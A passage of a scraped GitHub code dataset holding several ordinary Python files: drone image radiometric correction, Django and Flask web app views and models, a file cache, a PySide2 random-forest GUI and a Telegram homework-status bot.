img.close()\r\n\r\n return xmp, exif\r\n\r\n\r\ndef image_mat(xmp):\r\n \"\"\"read metadata from xmp, exif data\"\"\"\r\n\r\n clibrate_data = xmp['Xmp.drone-dji.DewarpData']\r\n clibrate_data = clibrate_data.split(\";\")[1].split(\",\")\r\n\r\n fx = float(clibrate_data[0])\r\n fy = float(clibrate_data[1])\r\n cX = float(clibrate_data[2]) + float(xmp['Xmp.drone-dji.CalibratedOpticalCenterX'])\r\n cY = float(clibrate_data[3]) + float(xmp['Xmp.drone-dji.CalibratedOpticalCenterY'])\r\n\r\n cam_mat = np.zeros((3, 3))\r\n cam_mat[0, 0] = fx\r\n cam_mat[1, 1] = fy\r\n cam_mat[2, 2] = 1.0\r\n cam_mat[0, 2] = cX\r\n cam_mat[1, 2] = cY\r\n print(cam_mat)\r\n\r\n k1 = float(clibrate_data[4])\r\n k2 = float(clibrate_data[5])\r\n p1 = float(clibrate_data[6])\r\n p2 = float(clibrate_data[7])\r\n k3 = float(clibrate_data[8])\r\n\r\n dist_coeffs = np.array([k1, k2, p1, p2, k3]).reshape((1, 5))\r\n # dist_coeffs = (k1, k2, p1, p2)\r\n # dist_coeffs = np.array([k1, k2, p1, p2, k3])\r\n print(dist_coeffs)\r\n\r\n return cam_mat, dist_coeffs\r\n\r\n\r\ndef raw2ref(xmp, img):\r\n \"\"\"\r\n DN value for reflectance calculation\r\n \"\"\"\r\n\r\n blacklevel = exif['Exif.Image.BlackLevel']\r\n blacklevel = int(blacklevel)\r\n\r\n sensorgain = float(xmp['Xmp.drone-dji.SensorGain'])\r\n\r\n ExposureTime = float(xmp['Xmp.drone-dji.ExposureTime'])\r\n\r\n CalibratedOpticalCenterX = float(xmp['Xmp.drone-dji.CalibratedOpticalCenterX'])\r\n CalibratedOpticalCenterY = float(xmp['Xmp.drone-dji.CalibratedOpticalCenterY'])\r\n\r\n VignettingData = xmp['Xmp.drone-dji.VignettingData']\r\n # '0.000218235, 1.20722e-6, -2.8676e-9, 5.1742e-12, -4.16853e-15, 1.36962e-18'\r\n VignettingData = VignettingData.split(\",\")\r\n VignettingData = [float(i) for i in VignettingData]\r\n\r\n pcamera_band = float(xmp['Xmp.drone-dji.SensorGainAdjustment'])\r\n\r\n Camera_Irradiance = float(xmp['Xmp.Camera.Irradiance'])\r\n\r\n Band_canmera = np.zeros((h, w))\r\n\r\n img = (img - blacklevel) / 65535\r\n\r\n for i in range(h):\r\n for j in range(w):\r\n\r\n r = ((j - CalibratedOpticalCenterX) ** 2 + (i - CalibratedOpticalCenterY) ** 2) ** 0.5\r\n\r\n correction = ((VignettingData[5]) * (r ** 6) + (VignettingData[4]) * (r ** 5) + (VignettingData[3]) * (\r\n r ** 4) + (VignettingData[2]) * (r ** 3) + (VignettingData[1]) * (r ** 2)\r\n + (VignettingData[0]) * r) + 1.0\r\n\r\n Band_canmera[i, j] = (img[i, j] * correction) / (sensorgain * ExposureTime / 1000000.0)\r\n\r\n Band_ref = (Band_canmera * pcamera_band) / Camera_Irradiance\r\n\r\n return Band_ref\r\n\r\n\r\ndef dis_correction(cam_mat, dist_coeffs, Band_ref):\r\n ''' camera distortion correction '''\r\n\r\n (h, w) = img.shape[:2]\r\n\r\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(cam_mat, dist_coeffs, (w, h), 0, (w, h))\r\n\r\n # dst = cv2.undistort(Band_ref, cam_mat, dist_coeffs, None, newcameramtx)\r\n mapx, mapy = cv2.initUndistortRectifyMap(cam_mat, dist_coeffs, None, newcameramtx, (w, h), 5)\r\n dst = cv2.remap(Band_ref, mapx, mapy, cv2.INTER_LINEAR)\r\n\r\n print(\"newcameramtx:\", newcameramtx)\r\n\r\n x, y, w, h = roi\r\n print(x, y, w, h)\r\n dst = dst[y:y + h, x:x + w]\r\n\r\n return dst\r\n\r\n\r\nif __name__ == '__main__':\r\n # change the path to where the TIF image is located at (applicable to TIF1-5)\r\n path_of_the_directory = \"F:\\\\6.9\\\\1\"\r\n ext = ('.jpg', '.JPG', '.TIF')\r\n imagepath = []\r\n\r\n for filename in os.scandir(path_of_the_directory):\r\n if filename.path.endswith(ext):\r\n f = os.path.join(path_of_the_directory, filename)\r\n if os.path.isfile(f):\r\n imagepath.append(f)\r\n\r\n for image1 in imagepath:\r\n file_name = os.path.basename(image1)\r\n f_name, extension = os.path.splitext(file_name)\r\n # change the path of the folder to where you want to save\r\n outimage = \"F:/6.9/1/New_TIF1/\" + f_name + \".jpg\"\r\n\r\n xmp, exif = image_info(image1)\r\n\r\n img = cv2.imread(image1, 2)\r\n\r\n h, w = img.shape\r\n\r\n cam_mat, dist_coeffs = image_mat(xmp)\r\n\r\n Band_ref = raw2ref(xmp, img)\r\n\r\n print(Band_ref[0, 1])\r\n print(h, w)\r\n\r\n new_image = dis_correction(cam_mat, dist_coeffs, Band_ref)\r\n\r\n cv2.imwrite(outimage, new_image * 100000 * 0.00314949)\r\n\r\n# 计算误差\r\n# tot_error = 0\r\n# for i in range(len(objpoints)):\r\n# imgpoints2, _ = cv2.projectPoints(objpoints[i], rvecs[i], tvecs[i], mtx, dist)\r\n# error = cv2.norm(imgpoints[i],imgpoints2, cv2.NORM_L2)/len(imgpoints2)\r\n# tot_error += error\r\n# print (\"total error: \", tot_error/len(objpoints))\r\n", "repo_name": "Yingl99/stictching_test", "sub_path": "radiometric_correction.py", "file_name": "radiometric_correction.py", "file_ext": "py", "file_size_in_byte": 4937, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyexiv2.Image", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 78, "usage_type": "call"}, {"api_name": "cv2.getOptimalNewCameraMatrix", "line_number": 103, "usage_type": "call"}, {"api_name": "cv2.initUndistortRectifyMap", "line_number": 106, "usage_type": "call"}, {"api_name": "cv2.remap", "line_number": 107, "usage_type": "call"}, {"api_name": "cv2.INTER_LINEAR", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.scandir", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 126, "usage_type": "call"}, {"api_name": "os.path", "line_number": 126, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.path.basename", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "os.path.splitext", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "cv2.imread", "line_number": 138, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 151, "usage_type": "call"}]} {"seq_id": "17230258914", "text": "from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import (login_required,\n permission_required)\nfrom django.contrib.auth.mixins import (LoginRequiredMixin,\n PermissionRequiredMixin, UserPassesTestMixin)\n\nfrom django.core.exceptions import PermissionDenied\nfrom django.views.generic import (ListView,\n CreateView, UpdateView, DeleteView)\nfrom .forms import TaskCreationForm, ResponseForm\nfrom .models import Response, Task\nfrom .lookups import user_next_trial\n\n# Create your views here.\n\ndef index(request):\n tasks = Task.objects.all()\n return render(request, 'tasks/home.html', {'tasks' : tasks})\n\ndef for_lab_members(request):\n return render(request, 'tasks/labmembers.html')\n\n@login_required\n@permission_required('tasks.add_task', raise_exception=PermissionDenied)\ndef create_task(request):\n if request.method == 'POST':\n form = TaskCreationForm(request.POST, request.FILES)\n form.instance.experimenter = request.user\n if form.is_valid():\n form.save()\n taskname = form.cleaned_data.get('displayname')\n messages.success(request, f'{taskname} task created!')\n return redirect('tasks-home')\n else:\n form = TaskCreationForm()\n return render(request, 'tasks/task_create.html', {'form': form})\n\n\n@login_required\ndef run_task(request, **kwargs):\n task_url = kwargs['taskurl']\n\n taskcontext = user_next_trial(task_url, request.user)\n task_name = taskcontext['task_name']\n\n if taskcontext['done']:\n return render(request, 'tasks/task_done.html', {'taskcontext': taskcontext})\n\n if request.method == 'POST':\n form = ResponseForm(request.POST)\n form.instance.subject = request.user\n form.instance.trialnum = taskcontext['trialnum']\n form.instance.parent_task_id = task_name\n\n if int(request.POST['answer']) == taskcontext['answer']:\n form.instance.correct = True\n else:\n form.instance.correct = False\n\n if form.is_valid():\n form.save()\n if taskcontext['feedback']:\n trialnum = taskcontext['trialnum']\n display_name = taskcontext['display_name']\n if form.instance.correct:\n messages.success(request, f'You got trial {trialnum} of {display_name} right')\n else:\n messages.warning(request, f'You did not get trial {trialnum} of {display_name} right!')\n\n return redirect('run-task', taskurl=task_url)\n else:\n form = ResponseForm()\n form.instance.trialnum = taskcontext['trialnum']\n form.instance.subject = request.user\n form.instance.parent_task_id = task_name\n\n context = {'taskcontext': taskcontext, 'form': form}\n return render(request, 'tasks/response_form.html', {'trial': context})\n\n\n\nclass TaskCreateView(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n permission_required = 'tasks.add_task'\n permission_denied_message = 'Experimenter credentials needed to create tasks'\n model = Task\n fields = ['name', 'displayname', 'descr', 'icon', 'tasktype', 'trialinfo']\n success_url = '/mytasks/'\n\n def form_valid(self, form):\n form.instance.experimenter = self.request.user\n return super().form_valid(form)\n\n\nclass TaskListView(LoginRequiredMixin, ListView):\n\n def get_queryset(self):\n # Return only tasks of logged in experimenter from new to old\n return Task.objects.filter(experimenter=self.request.user).order_by('-date_created')\n\n\nclass TaskUpdateView(LoginRequiredMixin, UserPassesTestMixin, UpdateView):\n model = Task\n fields = ['name', 'displayname', 'descr', 'icon', 'trialinfo']\n success_url = '/mytasks/'\n\n def form_valid(self, form):\n form.instance.experimenter = self.request.user\n return super().form_valid(form)\n\n def test_func(self):\n task = self.get_object()\n if self.request.user == task.experimenter:\n return True\n else:\n return False\n\n\nclass TaskDeleteView(LoginRequiredMixin, UserPassesTestMixin, DeleteView):\n model = Task\n success_url = '/mytasks/'\n\n def test_func(self):\n task = self.get_object()\n if self.request.user == task.experimenter:\n return True\n else:\n return False", "repo_name": "haribharadwaj/SNAPlabonline", "sub_path": "SNAPlabonline/tasks/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4395, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "models.Task.objects.all", "line_number": 18, "usage_type": "call"}, {"api_name": "models.Task.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "models.Task", "line_number": 18, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 19, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 22, "usage_type": "call"}, {"api_name": "forms.TaskCreationForm", "line_number": 28, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 33, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 33, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 34, "usage_type": "call"}, {"api_name": "forms.TaskCreationForm", "line_number": 36, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 37, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 24, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 25, "usage_type": "call"}, {"api_name": "django.core.exceptions.PermissionDenied", "line_number": 25, "usage_type": "name"}, {"api_name": "lookups.user_next_trial", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 48, "usage_type": "call"}, {"api_name": "forms.ResponseForm", "line_number": 51, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 67, "usage_type": "name"}, {"api_name": "django.contrib.messages.warning", "line_number": 69, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 69, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "forms.ResponseForm", "line_number": 73, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 79, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 40, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 83, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.PermissionRequiredMixin", "line_number": 83, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 83, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 84, "usage_type": "name"}, {"api_name": "models.Task", "line_number": 86, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 95, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 95, "usage_type": "name"}, {"api_name": "models.Task.objects.filter", "line_number": 99, "usage_type": "call"}, {"api_name": "models.Task.objects", "line_number": 99, "usage_type": "attribute"}, {"api_name": "models.Task", "line_number": 99, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 102, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.UserPassesTestMixin", "line_number": 102, "usage_type": "name"}, {"api_name": "django.views.generic.UpdateView", "line_number": 102, "usage_type": "name"}, {"api_name": "models.Task", "line_number": 103, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.LoginRequiredMixin", "line_number": 119, "usage_type": "name"}, {"api_name": "django.contrib.auth.mixins.UserPassesTestMixin", "line_number": 119, "usage_type": "name"}, {"api_name": "django.views.generic.DeleteView", "line_number": 119, "usage_type": "name"}, {"api_name": "models.Task", "line_number": 120, "usage_type": "name"}]} {"seq_id": "11443840266", "text": "import logging\n\nimport os\n\nclass FileCache:\n def __init__(self, base_dir):\n self.base_dir = base_dir\n self.logger = logging.getLogger(\"adt_cache\")\n\n def get_file(self, prefix, key, ext) -> str:\n \"\"\"\n prefix 에 해당하는 파일에서 key 에 해당하는 값을 가져온다.\n :param prefix:\n :param key: key는 항상 yyyymmdd 를 가지고 있어야 한다\n :return:\n \"\"\"\n\n yyyy = key[:4]\n mm = key[4:6]\n dd = key[6:8]\n\n file_name = self.base_dir + '/' + prefix + '/' + yyyy + '/' + mm + '/' + dd + '/' + key + '.' + ext\n if not os.path.exists(file_name):\n return None\n with open(file_name, 'r', encoding=\"utf-8\") as f:\n self.logger.debug(f\"reading file {file_name}\")\n return f.read()\n\n def save_file(self, prefix, key, ext, data):\n yyyy = key[:4]\n mm = key[4:6]\n dd = key[6:8]\n\n file_dir = self.base_dir + '/' + prefix + '/' + yyyy + '/' + mm + '/' + dd\n os.makedirs(file_dir, exist_ok=True)\n\n file_name =file_dir + '/' + key + '.' + ext\n with open(file_name, \"w\", encoding=\"utf-8\") as f:\n f.write(data)", "repo_name": "cheddars/pypi_adt_cache", "sub_path": "cache/filecache.py", "file_name": "filecache.py", "file_ext": "py", "file_size_in_byte": 1209, "program_lang": "python", "lang": "ko", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 35, "usage_type": "call"}]} {"seq_id": "71172318622", "text": "\n\nfrom flask_app.config.mysqlconnection import connectToMySQL\nfrom flask import flash\nfrom flask_app.models import user\n\n\n\nclass Chore:\n def __init__(self, db_data):\n self.id = db_data['id']\n self.chore = db_data['chore']\n self.time = db_data['time']\n self.questions = db_data['questions']\n self.created_at = db_data['created_at']\n self.updated_at = db_data['updated_at']\n self.creator = None\n self.voters = []\n self.num_votes = db_data['num_votes']\n \n @staticmethod\n def validate_chore(chore):\n is_valid = True\n if len(chore['chore']) < 1:\n flash(\"Chore must have a name\", \"chore\")\n is_valid = False\n if len(chore['time']) < 1:\n flash(\"time cannot be left blank\", \"chore\")\n is_valid = False\n if len(chore['questions']) < 1:\n flash(\"questions cannot be left blank\", \"chore\")\n is_valid = False\n return is_valid\n \n @classmethod\n def create_chore(cls, data):\n query = \"INSERT INTO chores (user_id, chore, time, questions) VALUES (%(user_id)s, %(chore)s, %(time)s, %(questions)s);\"\n return connectToMySQL('chore_schema').query_db(query, data)\n\n @classmethod\n def get_all_chores_with_votes(cls):\n query = \"SELECT chores.id, chores.user_id AS creator_id, chore, COUNT(votes.chore_id) AS num_votes \\\n FROM chores LEFT JOIN votes ON votes.chore_id = chores.id GROUP BY chores.id ORDER BY num_votes DESC;\"\n results = connectToMySQL('chore_schema').query_db(query)\n all_chores = []\n print(results)\n for row in results:\n chore_data = {'chore_id': row['id']}\n one_chore = cls(cls.get_one_chore(chore_data))\n creator_data = {'id': row['creator_id']}\n creator = user.User.get_user_by_id(creator_data)\n one_chore.creator = creator\n one_chore.num_votes = row['num_votes']\n all_chores.append(one_chore)\n return all_chores\n\n @classmethod\n def get_chores_of_creator(cls, data):\n query = \"SELECT * FROM chores LEFT JOIN users ON chores.user_id = users.id WHERE users.id = %(id)s;\"\n results = connectToMySQL('chore_schema').query_db(query, data)\n creator_chores = []\n for row in results:\n one_chore = cls(row)\n creator_chores.append(one_chore)\n return creator_chores\n \n\n @classmethod\n def get_one_chore(cls, data):\n query = \"SELECT * FROM chores WHERE id = %(chore_id)s;\"\n result = connectToMySQL('chore_schema').query_db(query, data)\n if result:\n return result[0]\n return None\n\n @classmethod\n def edit_chore(cls, data):\n query = \"UPDATE chores SET chore = %(chore)s, time = %(time)s, questions = %(questions)s WHERE id = %(id)s;\"\n return connectToMySQL('chore_schema').query_db(query, data)\n\n @classmethod\n def delete_chore(cls, data):\n query = \"DELETE FROM chores WHERE id = %(id)s;\"\n return connectToMySQL('chore_schema').query_db(query, data)\n\n @staticmethod\n def add_vote(data):\n query = \"INSERT INTO votes (user_id, chore_id) VALUES (%(user_id)s, %(chore_id)s);\"\n return connectToMySQL('chore_schema').query_db(query, data)\n\n @staticmethod\n def subtract_vote(data):\n query = \"DELETE FROM votes WHERE user_id = %(user_id)s AND chore_id = %(chore_id)s\"\n return connectToMySQL('chore_schema').query_db(query, data)", "repo_name": "ZBailey9/RemindUs", "sub_path": "flask_app/models/chore.py", "file_name": "chore.py", "file_ext": "py", "file_size_in_byte": 3526, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.flash", "line_number": 25, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 28, "usage_type": "call"}, {"api_name": "flask.flash", "line_number": 31, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 38, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 44, "usage_type": "call"}, {"api_name": "flask_app.models.user.User.get_user_by_id", "line_number": 51, "usage_type": "call"}, {"api_name": "flask_app.models.user.User", "line_number": 51, "usage_type": "attribute"}, {"api_name": "flask_app.models.user", "line_number": 51, "usage_type": "name"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 60, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 71, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 79, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 84, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 89, "usage_type": "call"}, {"api_name": "flask_app.config.mysqlconnection.connectToMySQL", "line_number": 94, "usage_type": "call"}]} {"seq_id": "25948823297", "text": "import sys\nimport os\nfrom PySide2.QtWidgets import QApplication, QMainWindow\nfrom PySide2.QtCore import QFile, QThread, Signal, QObject\nfrom PySide2.QtGui import QTextCursor\nfrom gui_template import Ui_MainWindow\nfrom model import ForestInitializer\n\n#application_path = os.path.dirname(sys.executable)\n\nclass MyStream(QObject):\n textWritten = Signal(str)\n def write(self, text):\n self.textWritten.emit(str(text))\n \n def flush(self):\n pass\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super(MainWindow, self).__init__()\n self.ui = Ui_MainWindow()\n self.ui.setupUi(self)\n\n sys.stdout = MyStream()\n sys.stdout.textWritten.connect(self.normalOutputWritten)\n\n self.ui.pushButton.clicked.connect(lambda: self.runForest())\n\n def runForest(self):\n forest = ForestInitializer()\n\n if self.ui.textEdit.toPlainText() != \"\": #NTrees\n forest.ntrees = int(self.ui.textEdit.toPlainText())\n\n if self.ui.textEdit_2.toPlainText() != \"\": #MaxDepth\n forest.max_depth = int(self.ui.textEdit_2.toPlainText())\n\n if self.ui.textEdit_3.toPlainText() != \"\": #Seed\n forest.seed = int(self.ui.textEdit_3.toPlainText())\n\n print(\"Running Random Forest\")\n print(\"NTrees = \" + str(forest.ntrees))\n print(\"Max Depth = \" + str(forest.max_depth))\n print(\"Seed = \" + str(forest.seed))\n\n performance = forest.initForest()\n\n accuracy = \"ACCURACY = \" + str(performance[0])\n logloss = \"LOGLOSS = \" + str(performance[1])\n auc = \"AUC = \" + str(performance[2])\n\n summary = \"Model Performance:\" + \"\\n\\n\" + accuracy + \"\\n\\n\" + logloss + \"\\n\\n\" + auc\n\n cursor_2 = self.ui.textBrowser_2.textCursor()\n cursor_2.movePosition(QTextCursor.End)\n cursor_2.insertText(summary)\n\n def normalOutputWritten(self, text):\n \"\"\"Append text to the QTextEdit.\"\"\"\n cursor = self.ui.textBrowser.textCursor()\n cursor.movePosition(QTextCursor.End)\n cursor.insertText(text)\n self.ui.textBrowser.setTextCursor(cursor)\n self.ui.textBrowser.ensureCursorVisible()\n\n\nif __name__ == \"__main__\":\n app = QApplication(sys.argv)\n\n window = MainWindow()\n window.show()\n\n sys.exit(app.exec_())", "repo_name": "anthonybartczak/h2o-titanic-kaggle", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2296, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PySide2.QtCore.QObject", "line_number": 11, "usage_type": "name"}, {"api_name": "PySide2.QtCore.Signal", "line_number": 12, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QMainWindow", "line_number": 19, "usage_type": "name"}, {"api_name": "gui_template.Ui_MainWindow", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 25, "usage_type": "attribute"}, {"api_name": "sys.stdout.textWritten.connect", "line_number": 26, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 26, "usage_type": "attribute"}, {"api_name": "model.ForestInitializer", "line_number": 31, "usage_type": "call"}, {"api_name": "PySide2.QtGui.QTextCursor.End", "line_number": 56, "usage_type": "attribute"}, {"api_name": "PySide2.QtGui.QTextCursor", "line_number": 56, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QTextCursor.End", "line_number": 62, "usage_type": "attribute"}, {"api_name": "PySide2.QtGui.QTextCursor", "line_number": 62, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 69, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 69, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 74, "usage_type": "call"}]} {"seq_id": "5134902420", "text": "\"\"\"Получает данные о статусе домашней работы и отправляет их в телеграм.\"\"\"\n\n\nimport logging\nimport os\nimport time\nfrom http import HTTPStatus\nfrom json.decoder import JSONDecodeError\n\nimport requests\nimport telegram\nfrom dotenv import load_dotenv\n\nfrom exceptions import (\n YandexApiResponseError, UnknownHomeworkStatus,\n ResponseHasNoHomeworks)\n\nload_dotenv()\n\n\nPRACTICUM_TOKEN = os.getenv('PRACTICUM_TOKEN')\nTELEGRAM_TOKEN = os.getenv('TELEGRAM_TOKEN')\nTELEGRAM_CHAT_ID = os.getenv('TELEGRAM_CHAT_ID')\n\nRETRY_TIME = 600\nENDPOINT = 'https://practicum.yandex.ru/api/user_api/homework_statuses/'\nHEADERS = {'Authorization': f'OAuth {PRACTICUM_TOKEN}'}\n\nHOMEWORK_STATUSES = {\n 'approved': 'Работа проверена: ревьюеру всё понравилось. Ура!',\n 'reviewing': 'Работа взята на проверку ревьюером.',\n 'rejected': 'Работа проверена: у ревьюера есть замечания.'\n}\n\nYEAR = 31556926\n\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.DEBUG)\nhandler = logging.StreamHandler()\nlogger.addHandler(handler)\nformatter = logging.Formatter(\n '%(asctime)s - %(name)s - [%(levelname)s] - %(message)s')\nhandler.setFormatter(formatter)\n\n\ndef send_message(bot, message):\n \"\"\"Step 5: Отправляет сообщение в Telegram чат.\"\"\"\n try:\n bot.send_message(\n chat_id=TELEGRAM_CHAT_ID,\n text=message\n )\n logger.info(f'Сообщение: {message} - успешно отправлено')\n except telegram.TelegramError as error:\n logger.error(error)\n raise error\n\n\ndef get_api_answer(current_timestamp):\n \"\"\"Step 2: Получает данные о статусе домашних работ за месяц.\"\"\"\n timestamp = current_timestamp or int(time.time())\n params = {'from_date': timestamp}\n try:\n response = requests.get(ENDPOINT, headers=HEADERS, params=params)\n except requests.exceptions.RequestException as error:\n logger.error(error)\n raise error\n logger.info(f'step 2 - status code: {response.status_code}')\n status_code = response.status_code\n if status_code != HTTPStatus.OK:\n raise YandexApiResponseError(\n f'Ошибка ответа от сервера Яндекс. Код ответа: {status_code}')\n try:\n response = response.json()\n except JSONDecodeError as error:\n logger.error(error)\n raise error\n logger.info('step 2 - выполнен')\n return response\n\n\ndef check_response(response):\n \"\"\"Step 3: Проверяет ответ API на корректность.\"\"\"\n if not isinstance(response, dict):\n raise TypeError(\n f'Функция получила на вход аргумент типа: {type(response)}.'\n 'Ожидаемыей тип: dict'\n )\n if 'homeworks' not in response:\n raise ResponseHasNoHomeworks(\n 'Проверяемый ответ от сервера не содержит ключ \"homeworks\"')\n homeworks = response['homeworks']\n if not isinstance(homeworks, list):\n raise TypeError('Функция возвращает не список')\n logger.info('step 3 - выполнен')\n return homeworks\n\n\ndef parse_status(homework):\n \"\"\"Step 4: Извлекает статус последней домашней работы.\"\"\"\n if 'homework_name' not in homework and 'status' not in homework:\n raise KeyError('Ключи homework_name и status не найдены')\n homework_name = homework['homework_name']\n homework_status = homework['status']\n if homework_status not in HOMEWORK_STATUSES:\n raise UnknownHomeworkStatus(\n f'{homework_status} - неизвестный статус домашней работы')\n\n verdict = HOMEWORK_STATUSES[homework_status]\n logger.info('step 4 - выполнен')\n return f'Изменился статус проверки работы \"{homework_name}\". {verdict}'\n\n\ndef check_tokens():\n \"\"\"Step 1: Проверяет доступность переменных окружения.\n\n Которые необходимы для работы программы.\n \"\"\"\n if PRACTICUM_TOKEN and TELEGRAM_TOKEN and TELEGRAM_CHAT_ID:\n logger.info('step 1 - выполнен')\n return True\n else:\n logger.critical('Отсутствуют переменные окружения')\n return False\n\n\ndef main():\n \"\"\"Основная логика работы бота.\n\n Проверяет статус последней работы и в случае изменения статуса\n отпрявляет уведомление в телеграм чат, а в случает ошибки отправляет\n в телеграм чат однократное уведомление об ошибке.\n \"\"\"\n current_date = int(time.time())\n from_date = current_date - YEAR\n bot = telegram.Bot(token=TELEGRAM_TOKEN)\n errors_list = []\n last_homework_status = ['has no status yet']\n while check_tokens():\n try:\n response = get_api_answer(from_date)\n homework_list = check_response(response)\n message = parse_status(homework_list[0])\n if message not in last_homework_status:\n send_message(bot, message)\n last_homework_status[0] = message\n else:\n logger.debug('Статус работы не изменился.')\n time.sleep(RETRY_TIME)\n except Exception as error:\n message = f'Сбой в работе программы: {error}'\n logger.error(error)\n if message not in errors_list:\n send_message(bot, message)\n errors_list.append(message)\n time.sleep(RETRY_TIME)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "alexey-petrow/homework_bot", "sub_path": "homework.py", "file_name": "homework.py", "file_ext": "py", "file_size_in_byte": 6044, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "dotenv.load_dotenv", "line_number": 18, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 21, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 22, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 39, "usage_type": "attribute"}, {"api_name": "logging.StreamHandler", "line_number": 40, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 42, "usage_type": "call"}, {"api_name": "telegram.TelegramError", "line_number": 55, "usage_type": "attribute"}, {"api_name": "time.time", "line_number": 62, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 66, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus.OK", "line_number": 71, "usage_type": "attribute"}, {"api_name": "http.HTTPStatus", "line_number": 71, "usage_type": "name"}, {"api_name": "exceptions.YandexApiResponseError", "line_number": 72, "usage_type": "call"}, {"api_name": "json.decoder.JSONDecodeError", "line_number": 76, "usage_type": "name"}, {"api_name": "exceptions.ResponseHasNoHomeworks", "line_number": 91, "usage_type": "call"}, {"api_name": "exceptions.UnknownHomeworkStatus", "line_number": 107, "usage_type": "call"}, {"api_name": "time.time", "line_number": 135, "usage_type": "call"}, {"api_name": "telegram.Bot", "line_number": 137, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 150, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 157, "usage_type": "call"}]} {"seq_id": 